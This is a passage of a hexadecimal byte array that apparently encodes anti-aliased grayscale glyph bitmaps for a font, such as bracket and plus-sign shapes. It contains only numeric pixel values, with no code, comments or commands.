0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xFF, 0xB3, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF,
0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4B, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xF1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDF, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xFF, 0xFF, 0xFF, 0x80,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF,
0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9E, 0xFF, 0xFF, 0xF0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x25, 0xF2, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0A, 0x7E, 0x34, 0x57, 0xD9, 0xFF, 0xFF, 0xFD, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAE, 0x07,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xDF, 0xF6, 0xE6, 0xBE,
0x59, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x14, 0x54, 0x54, 0x54, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xFF,
0xEA, 0x17, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00,
0x28, 0xF6, 0xFF, 0xFE, 0x57, 0xE5, 0xFF, 0xFF, 0x6A, 0x00, 0x05, 0xCC, 0xFF, 0xFF, 0x8E, 0x00,
0x46, 0xFE, 0xFF, 0xF6, 0x28, 0x50, 0xDC, 0xDC, 0xBF, 0x07, 0x00, 0x00, 0x87, 0xDC, 0xDC, 0x94,
0x20, 0x54, 0x54, 0x3C, 0x00, 0x00, 0x00, 0x24, 0x54, 0x54, 0x3A, 0x35, 0xFB, 0xFF, 0xFA, 0x34,
0x00, 0x0B, 0xDA, 0xFF, 0xFF, 0x7E, 0x00, 0x7D, 0xFF, 0xFF, 0xD8, 0x0A, 0x99, 0xFF, 0xFF, 0xC6,
0x03, 0x00, 0x03, 0xC6, 0xFF, 0xFF, 0xD2, 0xFF, 0xFF, 0xF3, 0x22, 0x00, 0x00, 0x00, 0x23, 0xF3,
0xFF, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5F, 0xDC, 0xDC, 0xDC, 0x9F, 0x00,
0x00, 0x00, 0x32, 0x4B, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x4A, 0x49, 0x00, 0xA7, 0xFF,
0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xF5, 0x06, 0x59, 0xFF, 0xFE, 0x6B, 0x02, 0x00,
0x00, 0x2D, 0xDA, 0xFF, 0xB4, 0x00, 0x0F, 0xF1, 0xFF, 0xFF, 0xE9, 0xC5, 0xD5, 0xFB, 0xFF, 0xFD,
0x45, 0x00, 0x00, 0x2F, 0xE4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6, 0x6D, 0x00, 0x00, 0x00, 0x00,
0x16, 0x5A, 0x8C, 0xAE, 0x96, 0x72, 0x18, 0x00, 0x00, 0x00, 0x05, 0x60, 0x62, 0x62, 0x22, 0x18,
0xFF, 0xFF, 0xFF, 0x67, 0x18, 0xFF, 0xFF, 0xFF, 0x67, 0x18, 0xFF, 0xFF, 0xFF, 0x67, 0x07, 0x75,
0x76, 0x76, 0x2A, 0x00, 0x00, 0x33, 0x54, 0x43, 0x09, 0x00, 0x00, 0x0B, 0xB4, 0xFF, 0xFF, 0xFF,
0xDC, 0x2E, 0x00, 0x90, 0xFF, 0xEB, 0x98, 0xD2, 0xFF, 0xD8, 0x05, 0xE5, 0xFF, 0x2C, 0x00, 0x01,
0xDC, 0xFF, 0x33, 0xF9, 0xF6, 0x06, 0x00, 0x00, 0xAF, 0xFF, 0x48, 0xCD, 0xFF, 0x82, 0x0A, 0x45,
0xF8, 0xFE, 0x1B, 0x48, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0x93, 0x00, 0x00, 0x44, 0xC2, 0xEC, 0xD1,
0x74, 0x02, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x64, 0x37, 0x00, 0x00, 0x6A, 0xF8, 0xFF, 0xDF,
0x2C, 0x00, 0x77, 0xFF, 0xFF, 0xCD, 0x16, 0x00, 0x28, 0xFB, 0xFF, 0xFC, 0x1A, 0x00, 0x00, 0x6F,
0xFF, 0xFF, 0xF4, 0x07, 0x00, 0x00, 0x7C, 0xFF, 0xFF, 0xFF, 0xC4, 0x7D, 0x8C, 0x3D, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x86, 0xFE, 0xFF, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x26, 0x56, 0x58,
0x37, 0x05, 0x00, 0x00, 0x18, 0x5B, 0x80, 0x63, 0x1D, 0x00, 0x00, 0x00, 0x76, 0xC8, 0x76, 0x00,
0x30, 0xEB, 0xFF, 0xFF, 0xFF, 0xFE, 0xBF, 0x67, 0x85, 0xF2, 0xFF, 0x6A, 0x00, 0xCB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x1A, 0x21, 0xFF, 0xFD, 0x4B, 0x20, 0x68, 0xC2,
0xFD, 0xFF, 0xFF, 0xD2, 0x4A, 0x00, 0x25, 0x8C, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x16, 0x45, 0x2F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x53, 0x54, 0x54, 0x4E, 0x00, 0x29, 0x54, 0x54, 0x54, 0x23,
0x00, 0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xB2, 0x01, 0xCC, 0xFF, 0xFF, 0xFA, 0x38, 0x00, 0x00, 0xCC,
0xFF, 0xFF, 0xDB, 0x0F, 0x45, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xF5, 0x2E,
0x00, 0xBE, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0xBE, 0xFF, 0xFF, 0x5C, 0x00, 0x37, 0xFF, 0xFF,
0xD7, 0x0C, 0x00, 0x00, 0x18, 0xE5, 0xE5, 0x8E, 0x00, 0x00, 0x84, 0xE5, 0xDF, 0x2A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05,
0x38, 0x69, 0x9B, 0xCC, 0xF8, 0xFB, 0xD6, 0xAB, 0x81, 0x56, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xD3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xF4, 0x75, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x8A, 0xFC, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD2, 0x3A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xC3, 0x95, 0x67, 0x56, 0x7F, 0xAD,
0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x27, 0x00, 0x00, 0x00, 0x00, 0x4E, 0xFF, 0xFF, 0xFF, 0xFF,
0xDA, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x8E, 0xFE, 0xFF, 0xFF, 0xFF, 0xBD, 0x00,
0x00, 0x00, 0x07, 0xDD, 0xFF, 0xFF, 0xFF, 0xA9, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0xF2, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xFF, 0xE6, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0xE7,
0x02, 0x00, 0xB1, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0xE2, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0xDA, 0xFF, 0xFF, 0xDE, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF,
0x4C, 0x07, 0xFC, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xFF, 0x77, 0x2C, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xFF, 0xFF, 0xFF,
0xA2, 0x4E, 0xFF, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0xC4, 0x41, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xFB, 0xFF, 0xFF,
0xBB, 0x29, 0xFF, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x19, 0xFF, 0xFF, 0xFF, 0xA9, 0x11, 0xFF, 0xFF, 0xFF, 0xAA, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0xFF, 0xFF, 0xFF,
0x8C, 0x00, 0xD5, 0xFF, 0xFF, 0xF2, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x77, 0xFF, 0xFF, 0xFF, 0x62, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xEA, 0xFF, 0xFF, 0xF3,
0x0A, 0x00, 0x1B, 0xFB, 0xFF, 0xFF, 0xCF, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x93,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xF3, 0xFF, 0xFF, 0xD3, 0x04,
0x00, 0x00, 0x00, 0x01, 0xB7, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x11, 0xDA, 0xFF, 0xFF, 0xF8, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0xB8, 0xFF, 0xFF,
0xFE, 0x89, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0xDE, 0xFF, 0xFF, 0xE9, 0x39, 0x00, 0x00,
0x00, 0x1D, 0x3F, 0x3F, 0x3F, 0x42, 0xC5, 0xFF, 0xFF, 0xFF, 0xCB, 0x1A, 0x00, 0x00, 0x00, 0x73,
0xFB, 0xFF, 0xFF, 0xFF, 0x5E, 0x3F, 0x3F, 0x3F, 0x3A, 0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x00, 0x00, 0xD3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFB, 0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x00, 0x00, 0xD3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x84, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0xCE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF6, 0x04, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13, 0x13,
0x13, 0x13, 0x13, 0x13, 0x13, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2D, 0x6A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2F,
0x63, 0xF9, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xF9, 0xF9, 0xF9, 0xF9, 0xF9, 0xF9, 0xFF, 0xFF,
0xFF, 0xFF, 0xF9, 0xF9, 0x29, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF,
0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF,
0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xBE, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB8, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5,
0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xF2, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94,
0xFF, 0xFF, 0xFF, 0xE6, 0xCE, 0x52, 0x00, 0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0xF0, 0xFF,
0xFF, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0x48, 0x51, 0x45, 0x14, 0x00, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,
0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x00, 0x43, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x24, 0x47,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x28, 0x35, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0,
0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0x1B, 0x00, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,
0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,
0x04, 0x04, 0x04, 0x04, 0x00, 0x2E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x2A, 0x32, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2E, 0x24, 0xD0, 0xD0,
0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0,
0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0xD0, 0x20, 0x00, 0x00, 0x25, 0xB2, 0xE2, 0x00, 0x11,
0xE0, 0xFF, 0xF0, 0x00, 0x73, 0xFF, 0xE9, 0x46, 0x00, 0xC8, 0xFF, 0x6E, 0x00, 0x00, 0xEA, 0xFF,
0x35, 0x00, 0x01, 0xFF, 0xFF, 0xFC, 0xE8, 0x01, 0xFF, 0xFF, 0xFF, 0xF1, 0x01, 0xFF, 0xFF, 0xFF,
0xF1, 0x01, 0xFC, 0xFF, 0xFF, 0xED, 0x00, 0x06, 0x07, 0x07, 0x05, 0x46, 0xC8, 0xC8, 0xC8, 0x6D,
0x60, 0xFF, 0xFF, 0xFF, 0x92, 0x60, 0xFF, 0xFF, 0xFF, 0x92, 0x60, 0xFF, 0xFF, 0xFF, 0x92, 0x11,
0x3B, 0xB3, 0xFF, 0x82, 0x00, 0x00, 0xCE, 0xFF, 0x65, 0x00, 0x58, 0xFC, 0xFD, 0x20, 0x4F, 0xFF,
0xFF, 0xA2, 0x00, 0x60, 0xFF, 0x88, 0x02, 0x00, 0x0F, 0x26, 0x00, 0x00, 0x00, 0x00, 0x03, 0x03,
0x03, 0x01, 0x5B, 0xFF, 0xFF, 0xFF, 0x8E, 0x60, 0xFF, 0xFF, 0xFF, 0x92, 0x60, 0xFF, 0xFF, 0xFF,
0x92, 0x5B, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x9B, 0xFF, 0x65, 0x00, 0x01, 0xD2, 0xFF, 0x2A,
0x03, 0x78, 0xFF, 0xEE, 0x01, 0x5E, 0xFF, 0xFE, 0x6F, 0x00, 0x5A, 0xE6, 0x5D, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x9A, 0xED, 0x05, 0x00, 0x00, 0x50, 0xD3, 0x96, 0x05, 0xCA,
0xFF, 0xFF, 0x06, 0x00, 0x46, 0xFD, 0xFF, 0x9F, 0x5F, 0xFF, 0xF2, 0x3A, 0x00, 0x00, 0xC4, 0xFF,
0xC2, 0x1C, 0xB2, 0xFF, 0x81, 0x00, 0x00, 0x1A, 0xFF, 0xFF, 0x1C, 0x00, 0xD0, 0xFF, 0x46, 0x00,
0x00, 0x3C, 0xFF, 0xE2, 0x00, 0x00, 0xE5, 0xFF, 0xFC, 0xF8, 0x05, 0x51, 0xFF, 0xFF, 0xFB, 0x98,
0xE7, 0xFF, 0xFF, 0xFF, 0x07, 0x53, 0xFF, 0xFF, 0xFF, 0x9F, 0xE7, 0xFF, 0xFF, 0xFF, 0x07, 0x53,
0xFF, 0xFF, 0xFF, 0x9F, 0xE3, 0xFF, 0xFF, 0xFD, 0x06, 0x4F, 0xFF, 0xFF, 0xFF, 0x9B, 0x05, 0x07,
0x07, 0x06, 0x00, 0x01, 0x07, 0x07, 0x07, 0x03, 0xAF, 0xC8, 0xC8, 0xC4, 0x04, 0x3C, 0xC8, 0xC8,
0xC8, 0x77, 0xE7, 0xFF, 0xFF, 0xFF, 0x07, 0x53, 0xFF, 0xFF, 0xFF, 0x9F, 0xE7, 0xFF, 0xFF, 0xFF,
0x07, 0x53, 0xFF, 0xFF, 0xFF, 0x9F, 0xE7, 0xFF, 0xFF, 0xFF, 0x07, 0x53, 0xFF, 0xFF, 0xFF, 0x9F,
0x30, 0x62, 0xFF, 0xF7, 0x00, 0x0E, 0x3B, 0xB9, 0xFF, 0x90, 0x00, 0x4C, 0xFF, 0xDA, 0x00, 0x00,
0x00, 0xBC, 0xFF, 0x73, 0x08, 0xC3, 0xFF, 0x92, 0x00, 0x00, 0x3A, 0xFE, 0xFF, 0x2B, 0xD1, 0xFF,
0xED, 0x28, 0x00, 0x41, 0xFC, 0xFF, 0xBE, 0x00, 0xE7, 0xDB, 0x25, 0x00, 0x00, 0x52, 0xFF, 0xC1,
0x18, 0x00, 0x2A, 0x09, 0x00, 0x00, 0x00, 0x0C, 0x2A, 0x00, 0x00, 0x00, 0x02, 0x03, 0x03, 0x02,
0x00, 0x00, 0x03, 0x03, 0x03, 0x01, 0xE2, 0xFF, 0xFF, 0xFC, 0x06, 0x4E, 0xFF, 0xFF, 0xFF, 0x9B,
0xE7, 0xFF, 0xFF, 0xFF, 0x07, 0x53, 0xFF, 0xFF, 0xFF, 0x9F, 0xE7, 0xFF, 0xFF, 0xFF, 0x07, 0x53,
0xFF, 0xFF, 0xFF, 0x9F, 0xE2, 0xFF, 0xFF, 0xFF, 0x05, 0x4E, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x39,
0xFF, 0xDC, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0x73, 0x00, 0x60, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0xC6,
0xFF, 0x39, 0x20, 0xD8, 0xFF, 0x6E, 0x00, 0x02, 0x6C, 0xFF, 0xF9, 0x07, 0xE5, 0xFF, 0xD1, 0x15,
0x00, 0x51, 0xFF, 0xFF, 0x7B, 0x00, 0xDC, 0xB1, 0x0F, 0x00, 0x00, 0x4D, 0xE9, 0x67, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x57, 0xC8, 0xC8, 0xC7, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x86, 0xA0, 0xA0, 0xA0, 0xA0, 0xA0, 0xD1, 0xFF, 0xFF, 0xFF, 0xB0, 0xA0, 0xA0, 0xA0, 0xA0,
0xA0, 0x52, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x8B, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x8B, 0x4E, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0xAE, 0xFF, 0xFF, 0xFF, 0x77, 0x5F,
0x5F, 0x5F, 0x5F, 0x5F, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F,
